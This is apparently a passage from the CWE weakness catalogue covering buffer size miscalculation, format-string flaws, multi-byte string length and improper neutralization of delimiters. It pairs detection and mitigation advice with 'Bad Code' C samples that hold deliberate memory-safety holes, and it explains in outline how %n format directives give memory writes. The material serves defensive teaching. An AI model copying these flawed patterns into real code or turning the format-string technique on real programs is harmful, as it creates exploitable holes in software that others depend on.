Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Manual Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Source Code Quality Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a `NULL` pointer to signify the location of the last widget.

C Example:

Bad Code

```

int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be. So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow (CWE-193) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

The following image processing code allocates a table for images.

C Example:

Bad Code

```

img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example:

Bad Code

```

char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}

```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example:

Bad Code

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5:

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

C Example:

Bad Code

```
int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```

The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].

The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

Observed Examples

Reference	Description
CVE-2001-0248	expansion overflow: long pathname + glob = overflow
CVE-2001-0249	expansion overflow: long pathname + glob = overflow
CVE-2001-0334	expansion overflow: buffer overflow using wildcards

Reference	Description
CVE-2002-0184	special characters in argument are not properly expanded
CVE-2002-1347	multiple variants
CVE-2003-0899	transformation overflow: buffer overflow when expanding ">" to ">", etc.
CVE-2004-0434	small length value leads to heap overflow
CVE-2004-0747	substitution overflow: buffer overflow using expansion of environment variables
CVE-2004-0940	needs closer investigation, but probably expansion-based
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed
CVE-2005-0490	needs closer investigation, but probably expansion-based
CVE-2005-2103	substitution overflow: buffer overflow using a large number of substitution strings
CVE-2005-3120	transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.

Potential Mitigations

Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.131.7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Implementation

Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Implementation

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

Implementation**Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as `strcpy` with `strncpy`. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.

Implementation

Use `sizeof()` on the appropriate data type to avoid CWE-467.

Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify sanity checks and will reduce surprises related to unexpected casting.

Architecture and Design**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size.

Examples include safe integer handling packages such as `SafeInt` (C++) or `IntegerLib` (C or C++).
[R.131.1]

Build and Compilation**Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation**Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.131.3] [R.131.5] and Position-Independent Executables (PIE) [R.131.10].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation**Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.131.4] [R.131.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation**Compilation or Build Hardening**

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.131.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Maintenance Notes

This is a broad category. Some examples include:

- simple math errors,
- incorrectly updating parallel counters,
- not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

This weakness may be a composite or a chain. It also may contain layering or perspective differences.

This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

Weakness ID: 132 (Deprecated Weakness Base)

Status: Deprecated

Description

Summary

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

CWE-133: String Errors

Category ID: 133 (Category)

Status: Draft

Description

Summary

Weaknesses in this category are related to the creation and modification of strings.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Processing Errors	699	16
ParentOf	B	134	Use of Externally-Controlled Format String	699	271
ParentOf	B	135	Incorrect Calculation of Multi-Byte String Length	699	275
ParentOf	C	251	Often Misused: String Management	699	437
ParentOf	V	597	Use of Wrong Operator in String Comparison	699	922

CWE-134: Use of Externally-Controlled Format String

Weakness ID: 134 (Weakness Base)

Status: Draft

Description

Summary

The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C (Often)
- C++ (Often)
- Perl (Rarely)

Platform Notes

Modes of Introduction

The programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.

In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

Common Consequences

Confidentiality

Read memory

Format string problems allow for information disclosure which can severely simplify exploitation of the program.

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

Format string problems can result in the execution of arbitrary code.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box**Limited**

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

Automated Static Analysis - Binary / Bytecode**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Warning Flags

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

The following program prints a string provided as an argument.

C Example:*Bad Code*

```
#include <stdio.h>
void printWrapper(char *string) {
    printf(string);
}
int main(int argc, char **argv) {
    char buf[5012];
    memcpy(buf, argv[1], 5012);
    printWrapper(argv[1]);
    return (0);
}
```

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2:

The following code copies a command line argument into a buffer using snprintf().

C Example:*Bad Code*

```
int main(int argc, char **argv){
    char buf[128];
    ...
    snprintf(buf, 128, argv[1]);
}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

C Example:*Bad Code*

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

Observed Examples

Reference	Description
CVE-2001-0717	format string in bad call to syslog function
CVE-2002-0573	format string in bad call to syslog function
CVE-2002-1788	format strings in NNTP server responses

Reference	Description
CVE-2002-1825	format string in Perl program
CVE-2006-2480	Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages

Potential Mitigations

Requirements

Choose a language that is not subject to this flaw.

Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [R.134.1] [R.134.2]

Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

Other Notes

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

CWE-135: Incorrect Calculation of Multi-Byte String Length

Weakness ID: 135 (Weakness Base)

Status: Draft

Description

Summary

The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Modes of Introduction

There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state.

The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow.

Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition.

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability

Confidentiality

Read memory

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Confidentiality

Read memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Demonstrative Examples

The following example would be exploitable if any of the commented incorrect malloc calls were used.

C Example:

Bad Code

```
#include <stdio.h>
#include <strings.h>
#include <wchar.h>
int main() {
    wchar_t wideString[] = L"The spazzy orange tiger jumped " \
    "over the tawny jaguar.";
    wchar_t *newString;
    printf("Strlen() output: %d\nWcslen() output: %d\n",
    strlen(wideString), wcslen(wideString));
    /* Wrong because the number of chars in a string isn't related to its length in bytes //
```

```

newString = (wchar_t *) malloc(strlen(wideString));
*/
/* Wrong because wide characters aren't 1 byte long! //
newString = (wchar_t *) malloc(wcslen(wideString));
*/
/* Wrong because wcslen does not include the terminating null */
newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));
/* correct! */
newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));
/* ... */
}

```

The output from the printf() statement would be:

Result

```

Strlen() output: 0
Wcslen() output: 53

```

Potential Mitigations

Implementation

Input Validation

Always verify the length of the string unit character.

Implementation

Libraries or Frameworks

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	699	411

CWE-138: Improper Neutralization of Special Elements

Weakness ID: 138 (Weakness Class) Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Integrity

Availability

Other

Execute unauthorized code or commands

Alter execution logic

DoS: crash / exit / restart

Observed Examples

Reference	Description
CVE-2000-0703	Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences.
CVE-2001-0677	Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments.
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files.
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files.

Potential Mitigations

Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create a whitelist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the whitelist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Weakness Ordinalities

ParentOf	B	464	Addition of Data Structure Sentinel	1000	769
ParentOf	C	790	Improper Filtering of Special Elements	699 1000	1199

Relationship Notes

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

Research Gaps

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

Description

Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

CWE-140: Improper Neutralization of Delimiters

Weakness ID: 140 (Weakness Base)

Status: Draft

Description

Summary

The software does not neutralize or incorrectly neutralizes delimiters.

Time of Introduction

- Implementation

Common Consequences

Integrity

Unexpected state

Potential Mitigations

Implementation

Input Validation

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-141: Improper Neutralization of Parameter/Argument Delimiters

Weakness ID: 141 (Weakness Variant)

Status: Draft

Description**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2003-0307	Attacker inserts field separator into input to specify admin privileges.

Potential Mitigations

Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-142: Improper Neutralization of Value Delimiters

Weakness ID: 142 (Weakness Variant)

Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0293	Multiple internal space, insufficient quoting - program does not use proper delimiter between values.

Potential Mitigations

Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. CWE-145: Improper Neutralization of Section Delimiters

Weakness ID: 145 (*Weakness Variant*)**Status:** Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

